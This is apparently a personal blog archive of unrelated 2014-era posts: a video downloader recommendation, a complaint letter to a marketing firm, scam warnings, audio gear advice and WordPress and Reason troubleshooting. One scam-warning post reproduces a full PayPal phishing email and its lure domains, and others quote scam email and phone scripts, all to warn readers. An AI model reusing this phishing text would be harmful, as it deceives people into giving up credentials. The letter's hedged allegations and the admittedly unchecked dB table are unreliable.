ClipGrab – Free Utility – Downloads YouTube Video/Audio – No Bullshit

ClipGrab downloads assets (audio and video) from youtube (and other services, but I haven’t tried others yet). If you use it, please donate to the dude that made it.

I’m working on a project that invloves sampling corporate industrial videos from YouTube. I used to use KeepVid for downloading YouTube files, but it doesn’t really work anymore, or at least, it sucks now and requires jumping through hoops to get working. Sorry, KeepVid :(

I was about to give up and use my machine’s headphone jack to send audio to another device to record, but I really didn’t want to do that because of the potential loss in quality caused by two additional stages of digital/analog conversion, not to mention the fact that doing it that way is a real-time process.

After hours of searching and trying tons of sucky browser extensions, hoping to find a KeepVid alternative, I finally found something that works. Thank you, ClipGrab! I was getting so frustrated.

ClipGrab is an app, not a browser extension. I’m using a Mac with El Capitan atm, but there are also versions for Windows & Linux, as well as Mac OS Lion, Mountain Lion, and ‘older versions of Mac OS,’ which I assume means you can use ClipGrab to download Youtube files even with an older Mac running Snow Leopard! (I’ll try it on my old mac soon).

 

How to use ClipGrab:

After installation, you just paste in a URL where the video you’re after is. Then select which assets you want to download and the version (quality).

Some notes borrowed from the ClipGrab FAQ about supported video sites:

YouTube – Videos can be downloaded in HD (1080p und 720p) as well as in standard definition (480p, 360p and 240p).Additionally, ClipGrab provides an integrated and easy-to-use search function for YouTube videos.

Vimeo – Vimeo is another popular video platform, specializing in high-quality and artistic videos.
Vimeo is always featuring amazing videos and also offers a big selection of Creative Commons videos. From Vimeo, videos can be downloaded in HD or standard definition.

Dailymotion – Dailymotion is another video website with top-tier support by ClipGrab. Videos from Dailymotion can be downloaded in HD, high and low quality standard definition.

Facebook – The widely popular social network is becoming and ever more important platform for sharing videos. You can easily download Facebook videos including private ones with ClipGrab.

Other sites – If a site isn’t “officially” supported by ClipGrab, you might still be able to download videos from it. Through an advanced video-recognition system, ClipGrab allows the download from thousands of websites even if they are not listed

You should definitely donate to ClipGrab if you canNot only is this the most hassle free way I have found to download audio and video from YouTube and other sites, but the ClipGrab website is also super clean and friendly with no popups, ads, or other bullshit. Just download the app and you’re on you’re way. You can donate any amount via PayPal or Bitcoin.

ClipGrab is so rad, I’ve given it “Keep in Dock” status, which is one of the highest honors an application gets around here –The equivelant of Knighthood for an app. I dub thee Sir ClipGrab :)

When Will Big Data Spill Over?

These mining firms, if you will, will eventually cave to selling to everyone.

What will we do with the data?

What will future for-profit mining operations be focused on?

 

 

My Letter to Jerry Kelly at Madwire

[Jerry Kelly at Madwire wrote me, apparently hoping to get on the phone with me to discuss my post about Madwire.  This is what I wrote in response.]

[To Jerry and everyone else at Madwire, I will not go away so easily.  I believe that you sometimes do things that are, in my opinion, very uncool to unsuspecting small business owners, and it’s time to either change those policies, or deal with the push-back you are owed as a result.]

All of this is hypothetical.  And all of this is my opinion.  All of this is intended to be seen as the point of view of one individual whom is speculating.  I do not intend to defame any company.  I am merely posting an email I sent, to the best of my knowledge, and altered only as necessary to protect myself and other people,  so that others can read what I wrote, as a matter of historical fact concerning what I wrote, and as a matter of historical fact concerning my feelings and opinions at the time.

[For the record, someone I know signed a contract with Madwire, and when they became unhappy with the results of the relationship, as far as I recollect, they copied the new website Madwire had enabled for them to their own hosting account, which as far as I recollect, was a breach of the contract they signed with Madwire.  As far as I recollect, Madwire (or Madwire’s legal representation did) then give the person I know  a certain number of days to either pay a certain number of dollars, which I recall being around $6,000 (but someone involved closely recalls it as more), or if the amount was not paid, to the best of my recollection, Madwire would sue the person that I know.   To the best of my knowledge, and to the best of my recollection, this really happened.  If Madwire continues to harass me about talking about this, I will be forced to post actual documents such as credit card billing records and emails from Madwire’s legal representation]

 

Hello Jerry.

I’d prefer to talk via email for now.
I have not worked with Madwire myself, but I do know someone who has. That person felt very abused by the experience.  And I know for a fact that they didn’t recieve the results they were promised by Madwire’s sales people.  And in the end, when they tried to end the relationship, they were not only told they couldn’t take any of the dev work with them (fine if that’s what they agreed to), but that they needed to pay a big chunk of money (for damages?) or they would be sued.
Intellectual Property is a valid thing, and I can’t blame anyone for wanting to protect their rights.  But making a few minor customizations to an off-the-shelf WordPress theme and then claiming that it’s your own intellectual property is pretty bogus, especially since WordPress is itself GPL software and so was the theme in question.  I know because I looked at the GPL License statement in the theme’s stylesheet.
And then, attempting to extort (or something like extort… this is just opinion) money over the matter is really uncool, beyond being unothadox for the kind of claim in question.  A simple cease and disist or DMCA takedown to the hosting company would have sufficed and is the proper procedure, as I’m sure you know.
Meanwhile, I don’t think Madwire is “evil” or anything silly like that.  I think Madwire has some practices that may need to be tweaked in order for some customers to not end up feeling lied to or preyed upon.
If Madwire is going to do business with people, then Madwire is accountable for its customer relations.  Throwing money at trying to surpress customers’ bad experiences is not a sustainable approach to marketing.  Eventually, every company will have some disgruntled former customers out there.  Madwire should expect to be no different.
So since Madwire has done such a good job covering up any bad reviews, and even creating dubious positive reviews, my little blog post has become a focal point, since almost nothing else out there seems like legitimate customer feedback.  I have been contacted by dozens of people wiith stories similar to the person I know that worked with Madwire.  If they represent a small minority of Madwire’s customers, then that small minority is going to be reflected online somewhere, whether it’s commenters on my post, or somewhere else.
And to be clear, I don’t have particularly strong feelings about Madwire, as much as I have strong feelings about accountability, honesty, the freedom and democratization of speech etc.
What would Madwire expect to happen if it (even only occasionally) [redacted] people with baseless lawsuit threats or routinely over-promises results?  I would think that Madwire would expect to get a little bit of pushback from those things. Perhaps that pushback is part of the cost of doing business.  Or maybe it’s an indication of some policy changes that need to happen.  Or maybe a little of both.
I hope this clears up for you where I am coming from.
And Also, I suggest that you try to be involved in the conversation about your company directly.  For instance, you could comment on blog posts like mine when you come across them, and try to be a reasonable and tranparent voice for your company, rather than [possibly] sneaking around, [possibly] trying to take people’s websites down, [possibly] having fake commenters and reviewers troll and spam the web, [possibly] filing things in courts to get unfavorable websites un-indexed and all that stuff, which at the end of the day, just makes your company look a bit shady, don’t you think?
Thanks,
Andrew

 

The Embarrassment of Past Posts: SEARCH SUCKS

I just can’t stand how stupid I sound, even one year ago, what I wrote, what it was about, the words I used, the style, the punctuation.  I can’t really even go more than six months back in these posts before what is there makes me really uneasy.  I get really, really uneasy.  I feel embarrassed and stupid.

Meanwhile, the reason I originally believed in blogging, which I have believed since around 2005, is still a good reason for me to also believe that the Web, and especially personal archiving, can be better than some sort of vanity exercise.

Someone that argues with me a lot recently said that they had stopped blogging when they realized they were just contributing “noise.” I took this as a jab, as if I am making noise as well.  After thinking about it a bit, I have concluded that I am not making noise, not compared to the vast majority of sites that get click-thrus. On the few searches that I appear prominently on, I am the opposite of noise.  I give out helpful information.

Meanwhile, I do also talk about all sorts of non-helpful things.  I even make joke posts.  Is this bad for the Web?  Is it noise?

No.  Because we have plenty of room.  We don’t have a space problem, we have an SEO problem.  The fact that satisfaction with search results is plummeting is not a result of excess content.  You’ll notice it’s often the same sites that let us down.  The problem is that search is not improving.  Search is asleep at the wheel while the link-bate space has exploded.  Here we are.  Answers.666, about.666.com, just-666.com, these sites offer often very inaccurate information, mostly voted into place by people with no accountability!

The cluttering of the Web used to be something we could blame on people that make useless websites or spam identities.  But not anymore.  Search is failing to help us find better content.  And it’s really tempting to assume this is not an accident on the part of Search.

 

 

The Best Ecommerce Solution for Artists

Crowdfunding is an obvious need for undiscovered artists and creative type people.  It’s hard to put musicians, photographers and software developers in the same box, but when it comes to E-commerce, there are some obvious common threads.

There are projects that us small time creators just can’t do without a garuntee of cost offset.  If we know we have a certain amount of support from our community, we can do bigger and better things!

Crowdfunding is growing in popularity, and since I am a long-time supporter of the democratization of virtually everything, I have always been interested in trends related to crowdfunding and other non-gatekeeper models.

I recently experimented with selling an album (mp3 320) via a common WordPress ecommerce plugin, and was trying to make the transaction pay-what-you-want, but I had a hard time editing the checkout process.  It was just really hard for me to find where in the plugin I was using to patch/hack the checkout form to do what I wanted:

  • Pay What You Want (even nothing)
  • Collect emails
  • Gracefully redirect back to my site (from PayPal or other payment gateway) after opting to pay (One of the biggest problems I had is dealing with payments of $0, because the forms for ecommerce usually assume a value, and redirection happens after purchase… but then, what about the email collection and redirection to a thanks page?!)

The real value to me here is the email address, not the payment, which I can only expect to be a few bucks here and there at this point, since I’m not super famous (yet).  But building a fan-base, if I can do that, is very valuable.

What I’d like to be able to do is easily set up, both things for sale, like mp3’s, and also, take pre-orders for things I’m working on. It’d be great if people like myself had an easy way to paywall content or allow paid subscriptions to certain pages or downloads on my site. And it’d be very cool if I had crowdfunding abilities.  As far as I know, this is not an open-source or turnkey possibility. But stay optimistic!  Things are moving fast in these spaces.

I hope all this stuff gets easier for Creatives soon.  Let’s overthrow that gatekeeper legacy we hate so much!

I will do my best to update this if I get new info!  Comments welcome as usual.

 

 

SCAM:Warning: You should Confirm your Account information immediately (Fake PayPal Notification)

Got this phishing email from support support1@Int-servicess-pp.pal and cvportal.in, pretending to be from PayPal. If you get this, yes, it’s fake.  The idea is that you click through to a screen that looks like the real paypal login screen. But when you log in, you’re really just goiving these bastards your paypal login info. Be careful, kids!

PayPal
Case ID #9515-9674-2194-5217

Dear Customer,
Your accou­nt has been limited until we hear from you.
Our system detected some incorrect information that have been saved to your accou­nt earlier.

What can you do ?
We just need some more information about your ??­?ou­nt,
so you must follow these steps to get your accou­nt back.
Click here to activate your accou­nt. [links to: cvportal.in/ppl.html…eventually redirects to a very long url at nimrod.in which has a fake paypal login]
Confirm that you are the accou­nt holder
Fill all the required fields

We thank you for your prompt attention to this matter,
Please understand that this a security measure intended to help protect you and your account
We apologise for any inconvenience
yours Sincerely,
PayPal


Copyright © 2014 PayPall, Inc. All rights reserved.

 

Screen shot 2014-11-16 at 3.11.36 PM

 

 

Here’s what it looks like when you click:

Screen shot 2014-11-16 at 3.17.13 PM

For some reason, the senders of this scam email use a charset that doesn’t translate to my wysiwyg in WordPress. Y, P, A, C and E become question marks. Example:

Subject: Warning: You should сonfirm your а­ссount informаtion immediately.

 

 

??­???­l  Case ID #9515-9674-2194-5217

Dear ?ustom?r,
Your ??­?ou­nt has been limit?d until we hear from you.
Our system detected some incorrect information that have been saved to your ??­?ou­nt earlier.

What can you do ?
We just need some more information about your ??­?ou­nt,
so you must follow these steps to get your ??­?ou­nt back.

  1. ?li?k h?r? to activate your ??­?ou­nt. [links to: cvportal.in/ppl.html]
  2. ?onfirm th?t ?ou ?r? th? ??­?ou­nt hold?r
  3. Fill ?ll th? r?quir?d fi?lds


W? th?nk ?ou for ?our ?rom?t ?tt?ntion to this m?tt?r,
?l??s? und?rst?nd th?t this ? s??urit? m??sur? int?nd?d to h?l? ?rot??t ?ou ?nd ?our ???ount
w? ??ologis? for ?n? in?onv?ni?n??

?ours Sin??r?l?,
??­?­??­l

_____________________________________________________________________________
?o??right © 2014 ??­?­???­l, In?. ?ll rights r?s?rv?d.


Ра­Ñ?Ра­l

Case ID #9515-9674-2194-5217

Dear Сustomеr,

Your ас­сou­nt has been limitеd until we hear from you.

Our system detected some incorrect information that have been saved to your ас­сou­nt earlier.

What can you do ?

We just need some more information about your ас­сou­nt,
so you must follow these steps to get your ас­сou­nt back.

  1. сliсk hеrе to activate your ас­сou­nt.
  2. Сonfirm thаt Ñ?ou аrе thе ас­сou­nt holdеr
  3. Fill аll thе rеquirеd fiеlds

Wе thаnk Ñ?ou for Ñ?our Ñ?romÑ?t аttеntion to this mаttеr,
Ñ?lеаsе undеrstаnd thаt this а sесuritÑ? mеаsurе intеndеd to hеlÑ? Ñ?rotесt Ñ?ou аnd Ñ?our ассount
wе аÑ?ologisе for аnÑ? inсonvеniеnсе

Ñ?ours SinсеrеlÑ?,
Ра­Ñ?­Ра­l

_____________________________________________________________________________

СoÑ?Ñ?right © 2014 Ра­Ñ?­РÙ?а­l, Inс. Аll rights rеsеrvеd.

HashTags AreStupidAndSoAreSpacesSoWeShould AbolishSpaces

IfEveryoneJustTypedLikeThisAndWeEssentially AbolishSpaces AsOurPrimary WordSeparators WeWouldntNeed Hashtags BecauseEverythingWouldAlreadyBeSearchableTextStrings. WeCouldUseSpacesToIsolate KeyWords AndPotentially TrandingTopics. This WouldAlsoSaveCharactersWhen Tweeting EtcAndInGeneralItWouldSaveSpaceBecauseIt’s Compression. AbolishSpaces aka #abolishspaces

Chinese Domain/Trademark Scam

Me: This is a scam where they try to get you to pay to protect your trademark, or avoid a lawsuit or something like that.
Email says:
(Please forward this to your CEO, because this is urgent. Thanks)

We are a Network Service Company which is the domain name registration center in Shanghai, China. On Oct 27, 2014, we received an application from Huayu Holdings Ltd requested “[your company domain name]” as their internet keyword and China (CN) domain names. But after checking it, we find this name conflict with your company name or trademark. In order to deal with this matter better, it’s necessary to send email to you and confirm whether this company is your distributor or business partner in China?Kind regards

Sean Zhang
General Manager
Yi Guan (Headquarters)
3002, Nanhai Building, No. 854 Nandan Road,
Xuhui District, Shanghai 200030, China
Tel: +86 21 6191 8696
Mobile: +86 138 1642 8671
Fax: +86 21 6191 8697
Web: www.yiguannetwork.cn

SOLUTION/DOWNLOAD: Tiny CD for Dragon 50Mbps Wireless N Nano USB Adapter

Dragon ® 150Mbps Wireless N Nano USB Adapter_Yes, this page is probably going to finally let you get your cheap USB Wifi Adaptor working!

…You’re welcome! :)

I bought the Dragon ® 150Mbps Wireless N Nano USB Adapter from Amazon and couldn’t get it to work with my macbook because of the slot-loading drive.

After googling around, I found a lot of people talking about where to download the driver but after about a hundred cycles of download, install, uninstall, I decided to get MacGyver on this.

I actually cut out an adapter for small cd to full size using a dremel tool. Doesn’t look pretty but it worked. So for anyone not willing to risk putting garbage in their optical drive like I was, here’s the software from that CD. Enjoy.  Just be sure to uninstal the last versions you installed that didnt work.

https://andrewapeterson.com/freebies/RTL8188EU (new driver).zip

Apparently a lof these little wifi dongles work using the same part, a realtek chip.

So this may even work for similar inexpensive USB Network Adaptors. The mini CD that came with mine reads: Wireless-N USB Adaptor. RTL8188_RTL8192. The Disk contained two folders but I zipped and uploaded the one that wasnt called “old driver.”   It contains drivers for Windows, Mac and Linux.

mini cd to full size adaptor
I took one of the plastic protecter disks from the bottom of a stack of CDs and, using my fat finger to line up the center holes, I traced the little disk. Then I cut out the circle with a dremel tool. Sanded off all the burrs and did a little fine tuning with an exacto knife. Then I minimally taped the two disks together.

 

Scam: Fidelity Express, Beverly Hills, Called Me Claiming I was Going to be Served by a Sheriff

Phone number (310) 300-0101

This number has been calling me every few days for the couple weeks.  Today, for some reason, I actually answered.

The woman said she was trying to verify that I would be “here” to get served by a sheriff. And that the sherif would only try two times to serve me after which… don’t remember… something about a warrant.

She said that she was merely a legal document processor and knows nothing about my case, but it has been “red flagged” and she only deals with red flagged cases.

She said she could give me a number to call and a case number but that’s the information she has. When I asked her, she said she worked for Fidelity Express.

The number she gave me to call is 1-849-292-8022… Unless I copied it down wrong, that’s a Dominican Republic Area Code.

I asked a lawyer I know about this and he said:

Sounds like a scam.  I get repeat calls all the time from Beverly Hills, Pasadena, Detroit, NY, Miami, you name it.  I rarely answer them. So in the future never identify yourself to strangers on the phone.  Never give a stranger information over the phone. If I do answer and realize it’s not a call I want to take I just say, “Can I take a message?” I won’t even verify if they have the correct number.

If there is any validity to the call avoid being served.  So if a “sheriff” or process server comes to your door, don’t answer the door. As far as I know a sheriff can only serve papers from a court w/in that sheriff’s county.  So the [some] County sheriff’s office can’t serve papers for a court in [somewhere else] for instance or even [nearby county].  

I bet if you call that number they will tell you to send money to X to pay the “fine” or whatever.  I would not suggest you make that call number because then you are rated higher as a candidate for scamming another time. If you get served for a case in another country you can ignore it. If you get served for a case in another state let’s talk.  You would have to file a demurrer to personal jurisdiction.  I think I have a copy of one somewhere.

 

I decided to call the number I was called from, 310-300-0101 and I got a phone service recording saying “this is not a valid phone number”

To My Ello Friends: A Few Days Into the Experiment.

Some thoughts on @ello

If I recall correctly, the way MySpace got rolling was that they recruited a bunch of lower-tier models and bands in order to make the population seem cool. And that slimy quality never really went away.

Of course, this is probably a premature complaint (is it?), but I fear that something similar might be going on here on ello. In the few days I’ve been here, I feel like there’s tons of stuff flying around that’s really just magazine spreads and and logos… MySpace was once described to me as “an online version of the inside of a teenager’s high school locker.” Now the kiddies use tumblr for that purpose and everyone else uses pinterest: topical passive image consumption and re-posting things that manifest how you want to be seen, by consuming a feed of re-posted crap from a bunch of strangers whom are filtered by topics or genres. Right?

And for now I really don’t want to see runway models and futuristic, laser-accurate post-modern woodcarvings from wall to wall. It actually makes me feel like I’m part of some sort of ‘early adopter’ demographic and I’m being profiled and marketed at. Pretty funny. I put myself here and I’m complaining. But bear with me for a sec.

Once #hashtags are working, and I can actually filter the noise in useful ways, OK fine. But until then, there’s really no value here, beyond the manifesto, unless everyone just shuts the fuck up and talks about what they had for lunch and then uploads a picture of their cat or their baby, while recruiting their ‘real’ friends and family to come here and do the same. Seriously.

The appeal of FaceBook, at least for me (and I suspect the vast majority of people who are not early adopters), is that it doesn’t have to be noisey/quiet if you don’t want it to be. It can be less-quiet/quiet. I know a lot of early adopters are also hustling to promote themselves as the next super-important entrepreneur/influencer/visionary. And I love all those/us people too. But it is a bit ironic to me that everyone flocking to the non-data-mining, non-commercial social software platform (which even has a goddamn ‘manifesto’ for cryin out loud) gets here and and immediately whips out their SEO/follower-collection habbits.

This isn’t going to stick if we can’t get grandma and Joe Blow on here. So I guess what I’m saying is, perhaps we should, as a community of people who are early to this place, think about the potential here, that is, if we decide to steer the status quo of behavior in a constructive direction, acting as an example to the next round of people. Construction problems, missing features, and an unfamiliar interface aside, I know the old ladies I know would bounce right the fuck back out the door if they came to this place and saw what I’m seeing.

I may be sounding like a luddite to you (and to me a bit too), but there’s no way to filter all this content yet. So maybe we should dial back our douchebaggery and think about the ello manifesto and what appeals to us most about it, and what will make that actually happen: Grandma and Joe Blow coming here, along with a few hundred million other people (most of whom live in stupid towns and just have jobs and cats and babies) who are tired of being spied on, bought and sold by Facebook, data-mining companies, marketers Etc. Right?

We’re expecting company! Right?

fix: Shortcodes in NextGen Descriptions, Simple PayPal Shopping Cart

NOTE: this will probably work to use shortcodes for any plugin or theme within NextGen Image Descriptions, but this does not make the shortcodes get parsed and work in the lightbox effects. Also, you’ll have to put the gallery template file somewhere where it works. I couldn’t get it to work in my theme’s folder. So this post has it in a plugin’s folder, but you may not be using that plugin (although I guess you could install it, just for the shortcode-enabling bit)

Link to modified gallery-wp-cart.php file which should be used to overwrite the version in /plugins/wordpress-simple-paypal-shopping-cart/lib/.

This was a NIGHTMARE for me to figure out. After some recent software updates, probably most notably, Nextgen Gallery’s big v2 update, my client’s descriptions disappeared from the lightbox effect.

We had things set up so that each image in a gallery represents a product.  Underneath each thumbnail in the gallery is an “add to cart” button created with WordPress Simple Paypal Shopping Cart Plugin. This was done by adding the following syntax to each image’s description in “Manage Galleries:”

Visible human-readable description is here followed by human-friendly price, followed by shortcode contained within SPAN so I could selectively hide the shorcode. $20<span class=”cart”>[(remove this)wp_cart_button name=”Product Name” price=”20.00″(remove this too)]</span>

Then with CSS, captions were hidden from thumbnail view, buttons were un-hidden and styled for thumbnail veiw, lightbox captions were styled and lightbox shortcodes (which just display as the shortcodes, a challenge I’m not up to night now) were hidden via the span.

It worked fine, but after some site maintenance, shit went crazy.  Captions disappeared.  The closest I could get to getting things back was to use “template=caption”  in a legacy Nextgen shortcode, but this did not allow the Cart Buttons to be parsed and render as buttons.

Nextgen says on their site that you can create new gallery templates by adding them to your active theme.  While this may be the case, it wasn’t working for me.

I noticed, by the way, that that span id=”lightbox-image-details-caption” now had style=”display: none; and the span that previously contained the caption was now empty :(

I think having gallery-wp-cart.php in two places (the theme and the plugin) favors the plugin over the theme.  And anyway, the file that came with WordPress Simple Paypal Shopping Cart is out of date, at least as of writing this, 2014-09-28.

So after spinning my wheels for hours and hours, I finally created a hybrid of gallery-caption.php (from nextgen) and gallery-wp-cart.php (from WordPress Simple Paypal Shopping Cart). Link is below and above (zipped file). I used this to replace the plugin’s version.  Of course, this will get overwritten when there’s an update to the plugin.

If you are going to try to use my solution, and you’re working for someone else, I recommend, at the very least editing the cart plugin’s description  to contain a warning not to auto update (in wp_shopping_cart.php).

Here’s the Gallery Template file I made.

 

Audio Version of Om Malik’s “With Big Data Comes Big Responsibility”

Om’s post is here:

http://om.co/2014/07/08/with-big-data-comes-big-responsibility/

I decided to have this read by OSX’s Alex voice, which I thought was fitting, given the subject.

 

QR’s are for original post and recording software used.

With Big Data Comes Big Responsibility

2014-07-08

By Om Malik

http://om.co/2014/07/08/with-big-data-comes-big-responsibility/

Read by Mac OS X.6’s Alex at the whim of Andrew A. Peterson

https://andrewapeterson.com

Recorded with SoundFlower

http://cycling74.com/products/soundflower/

The FaceBucket Challenge

RULES:

If you accept The FaceBucket Challenge, you must:

A) Promise that from now on, you will not share any alleged facts on social media without first reading the Wikipedia entry likely to contain confirmation of the alleged fact;

Or

B) Share a video of yourself putting a bucket over your head.

WHY?

The FaceBucket challenge is intended to spread awareness about media literacy, especially social media’s potential for spreading misleading information.

As participants in social media, we have a responsibility to the others in our networks to not disseminate an inaccurate portrayal of the world we live in.  This is especially true when it comes to political or ‘loaded’ topics where widespread misinformation can lead to negative consequences for large numbers of people.

Also, it’s kind of funny.

Thoughts on Inexpensive Stereo Reference Monitoring

All of the following refers only to STEREO mixing.
Also, if I use the term “2.1” I’m referring to stereo plus monoized sub. It should be noted that in reality, “real” 2.1 is actually more complicated than that. Real 2.1 decodes the source material in more sophisticated ways, depending on the material. But for our purposes, 2.1 means left plus right plus a monoized bass signal.

Here are some main points.

  • Powered monitors that have individual volume controls are a pain cuz they need to be calibrated unless you leave them all the way up, which is a different pain (turning on/off or noise when unplugging etc).
  • Powered moniters kind of suck because when one goes out, youre out the whole setup, which is why I’ve decided it’s better to use an amp and 2 passive speakers
  • No matter what, you’re blind if you don’t have a subwoofer.
  • I can defintely say that 8 inch speakers sound more real than 5 inch
  • I can definitely say that not having a sub is worse than anything
  • the second area where you’re most likely to be blind, is the crisp/shrill (i’d say everything above 5 or 8k) area of highs, followed by the muddy area of low mids (i’d say between 150 and 300) (maybe why 8s are better than 5s)
  • 2-way speakers are definately more reliable than 3-ways or 4-ways… One low driver and one tweeter. If there was such a thing as a driver that could reproduce everthing from ~100hz all the way up to ~12kHz or higher, that’d be the way to go. Basically, monitors have “crossovers” which send highs to the tweeter and lows to the woofer. The crossovers are never perfect so the fewer crossovers the better.
  • I’ve found that “coaxial” 2-ways are better than the typical setup where the tweeter is above the woofer. I think I can detect the difference in location so if the tweeter is in the middle of the woofer, it seems to all be coming from one place. Unfortunately, not many manufacturers make inexpensive coaxial monitors.
  • it’s important to remember that the room you’re in has almost as much to do with what you hear as the speakers. REALLY.
  • amplifier quality is pretty much a non-issue nowadays. Even very cheap amps are very faithful, especially when considering how volatile the speakers and room are as factors.
  • Powered speakers that have their own USB digital to analogue converter: why deal with another layer of bullshit? The mac you’re using has a great sound card! Switching audio outputs in system prefs and in program prefs is a workflow bitch when going from speakers to headphones Etc. Plus, latency! Whenever possible, use the computer soundcard, unless you have some sort of interface that has less latency, which I doubt you do.
  • The fewer components to hook up the better

If money was no object:

  • a good room
  • 2 coaxial 2-way speakers L and R
  • 2 subs L and R
  • Amps for each speaker
  • Crossover adjustment for the subs

Since money is an object

  • A monoized signal for the sub-bass is an ok compromise, since it is true that it’s nearly impossible to tell where the hell in your room the sub is, AND a lot, if not most audio material is mastered to have a monoized low end and since we’re cheap bastards, whom may want to skimp on mastering costs, it may even be smart to just work under the pretense that sub-bass is mono or at least ‘mono-compatible’ meaning there’s no significant phase cancellation in the low end that will cause volume changes when the low end is monoized by someone else’s stupid 2.1 setup.
  • So this means what we’re after on a budget is a 2.1 system. The single sub takes the left and right signal and actively mixes them together (actively as in via a mixer, not a y-cable)

My setup is 2 speakers, mixer, L/R amp, powered Sub.

  • soundcard to mixer.
  • mixer L and R to amp for L/R monitors
  • Mixer mono post-fader send out to powered Sub (post fader so channel volume effects L, R and Sub… In reality, there’s a thing called the “Fletcher-Munsen Curves” which means that bass is not proportianal to highs the same way at every volume level, but for practical purposes, within a typical listening range, I can calibrate the bass to the L/R once and go a little louder or quieter without being too far off) …So I have one volume level which controls everything.

Problem with my setup: Too many components!

If I was going to start over and keep it cheap, I’d buy a consumer-grade 2.1 system and toss the L/R speakers that came with it and instead, use my high-end coaxial 2-ways for the L/R. The 2.1 system would have a sub crossover frequency adjustment and a sub volume and a master volume. Then I’d have:

  • 3 pieces: sub containing all three amps, a Left passive monitor, a Right passive Monitor
  • one stereo mini going from the computer to the sub, where the L/R amps and the Sub amp is housed, and 2 speaker wires going to my L/R monitors.
  • NOTE: The L/R Monitors are where the money is spent!  If the 2.1 Amp/Sub bullshit dies, toss it and get a new one.

Finally

I really think you should have at LEAST a hundred watts of power for the sub!!  Meanwhile I think you can get away with far less for L/R… Maybe even as low as Twenty Watts!  But it also depends on how efficient the amplifiers are… And since we’re trying to get all three amps and a sub in one unit, we’re essentially shopping for bass power.  The L/R will be plenty.

Reviews Sites: Some are Super Shady

Some info about the Better Business Bureau lifted from the wikipedia

In 2010 ABC’s 20/20 reported in a segment titled “The Best Ratings Money Can Buy” about the irregularities in BBB ratings.[24] They reported that a man created two dummy companies which received A+ ratings as soon as he had paid the membership fee. They also reported that business owners were told that the only way to improve their rating was by paying the fee. In one case a C was turned to an A immediately after a payment and in another case a C?minus became an A+. Chef Wolfgang Puck said that some of his businesses receive F’s because he refuses to pay a fee. Ritz Carlton, which does not belong either, also receives Fs for not responding to its complaints.[23]

In response, the president of the Council of Better Business Bureaus has stated the BBB ratings system will cease awarding points to businesses for being BBB members.[25] The national BBB’s executive committee voted to address the public’s perception of the ratings system. It voted that the BBB ratings system would no longer give additional points to businesses because they are accredited. It voted to implement a system to handle complaints about BBB sales practices. [26] Despite the vote, the BBB website still states that points are taken away if accreditation is lost.[27][28]

In Canada, the CBC News reported in 2010 that Canadian BBBs were downgrading the ratings scores of businesses who stopped paying their dues. For example, a moving business who had an A rating and had been a BBB member for 20 years, dropped to a D?minus rating when they allegedly no longer wanted to pay dues.[29]

BBBs have been accused of unduly protecting companies. If a branch does not act reasonably on behalf of a consumer, a complaint may be filed with the Federal Trade Commission. However, recent reports have suggested that the Austin chapter of the Better Business Bureau refused to resolve complaints against companies if customers do not pay a $70 mediation fee.[30]

Reason 4: Tempo Map causes Reason notes to not sound or be Altered: Velocity/Sustain/Decay

[this is a copy of what I posted the Propellerhead Reason Forum.]

When Reason is slaved to a DAW (tried multiple DAWS), and there is a tempo map in the DAW’s Conductor Track, some Reason notes either do not not sound or sound with decreased velocity or with changed Amp Decay or Sustain.

 

I seem to be able to make them sound by moving the notes later than right at the beginning of the measure/beat.  But I have to move them as much as 23 units (frames or whatever the thousandths portion of the position indicator represents)…

 

But this obviously has an effect on the feel of the track, particularly obvious with bass voices.

 

To re-create the problem:

create a tempo map in a DAW that is rewire master… Have the tempo jump around from very slow tempos, like around 55bpm to faster tempos like 90bpm. Draw quantized notes in reason.

 

I know for certain this effects the Combinator patch called ‘Bass Player’ and the Subtractor patch called ‘Groove to This,’ but I’ve experienced this with other patches as well.

 

I’m running Digital Performer 8 and Reason 4 in 48kHz.

 

Things I’ve tried:

Switching DAWs (to Reaper)

Changing DAW Buffer Size and “host multiplier” buffer settings.

Changing Reason’s Default Sample Rate

Changing Reason’s Default Buffer Size

Restarting Programs

Repairing Disk Permissions.

Manually drawing a copy of DAW’s Tempo Map into Reason’s Transport Automation Lane while not rewired.

Moving notes later (seems to work, but not an acceptable solution)

[update] Tried moving to 44.1kHz… no dice

Revisiting Microformats/Semantic Web for Future Prediction Info

What if the content/facts of all wikipedia articles were semantically linked by a prediction modeling application?

Of course all of this linking would need to be done by the community. But I have a great deal of faith in the wikipedia community.

All that really needs to happen is for links in sentences that contain dates like “2054” or “June 11” or “05, 21, 1976″ to be declared as being a prediction, fact, speculation (or other specs) Etc (for now, via a rel=”prediction” or time=”Etc” type of thing) (I think it would have to work along with/within human language syntax for now, because I doubt people want to qualify every word they write with semantic markup, but to require lines that contain a date to have some rules isn’t too crazy)

Another piece is needed to tie in the actual information, but it could just be a link to the actual article in which it appears, which isn’t necessary because that’s where it’s coming from.  It’s a start.

In other words, “Show me predictions for 2054 based on wikipedia info” could give you articles that contain predictions for 2054. And you can easily get to those articles from the results.  Not as granular as “linked data” should be, but right now, the web is basically all about making it easier to look at selfies and bad journalism.

I think this could have a lot of research power.

Reason Fader Level in dB 100=0dB so what is -3dB Etc? The Answer?

Been frustrated that Propellerhead Reason’s Meters and Faders do not use the standard dB measurement.  Instead the faders are just 0-127 (likely an artifact of MIDI), and the meters are just color-coded.

The following is something I found here after some digging.  It wasn’t easy to find so I’m re-posting it here.  This is plagiarism.  But I’m stealing bread to feed you hungry fellow frustrated and confused music producers out there.

I haven’t completely fact-checked this.  I’ll update in the next  few weeks if I find this info to be inaccurate.

[begin plagiarism]

WARNING: too much information mode = ON
(do I have a lot of time on my hands or what?!?)

Mixer Faders (and Master Fader) are Unity at 100 (or -7dB from clipping)

Mixer Fader (1-127) levels to dB:
127 = 0dB
123 = -1dB
119 = -2dB
115 = -3dB
111 = -4dB
106 = -5dB
104 = -6dB
100 = -7dB
97 = -8dB
93 = -9dB
83 = -12dB
72 = -15dB
64 = -18dB

What’s weird is that the NN-19 sampler levels don’t match these. They are:
127 = 0dB
123 = -3dB
112 = -6dB
100 = -9dB

Mixer Sends are Unity at:
Mono send = 79
Stereo send = 100
(since sereo aux sends follow channel panning, when panned hard left or right unity is at a send level of 79)

Mixer Meters: (from top to bottom)
(all levels rounded to nearest 0.5dB)
Top ‘LED’ (orange) = -1dB
2nd (orange) = -3.5dB
3rd (orange) = -6.0dB
4th (orange) = -8.5dB
5th (yellow) = -10.5dB
6th (yellow) = -13.0dB
7th (yellow) = -15.5dB
8th (yellow) = -17.5dB
9th (green) = -20.0dB
10th (green) = -22.5dB
11th (green) = -25.0dB
